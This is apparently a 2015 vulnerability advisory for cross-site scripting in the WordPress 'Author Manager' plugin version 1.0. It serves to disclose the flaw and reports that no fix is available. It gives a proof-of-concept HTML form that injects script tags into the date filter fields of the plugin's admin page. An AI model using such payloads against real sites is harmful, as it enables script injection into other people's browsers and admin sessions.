WordPress Author Manager 1.0 Cross Site Scripting

`Title: WordPress 'Author Manager' Plugin   
Version: 1.0  
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej  
Date: 2015-06-16  
Download:   
- https://wordpress.org/plugins/author-manager/  
- https://plugins.svn.wordpress.org/author-manager/  
Notified Vendor/WordPress: 2015-06-21  
==========================================================  
  
## Plugin description  
==========================================================  
Author Manager is a must-have for administrators of a multiple-author WordPress site. Easily view post statistics by date.  
  
## Vulnerabilities  
==========================================================  
Some of the fields in the admin panel is vulnerable to XSS.  
  
PoC:  
Log in as admin and submit the following form:  
  
<form method="POST" action="[URL]/wp-admin/users.php?page=author-manager%2Fauthor_manager.php">   
<input type="text" name="am-filter-type" value="am-date-filter" readonly><br />  
<input type="text" name="am-start-date" value="'><script>alert(1)</script>"><br />  
<input type="text" name="am-end-date" value="'><script>alert(2)</script>"><br />  
<input type="submit">  
</form>  
  
## Solution  
==========================================================  
No fix available  
  
==========================================================  
Vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.  
`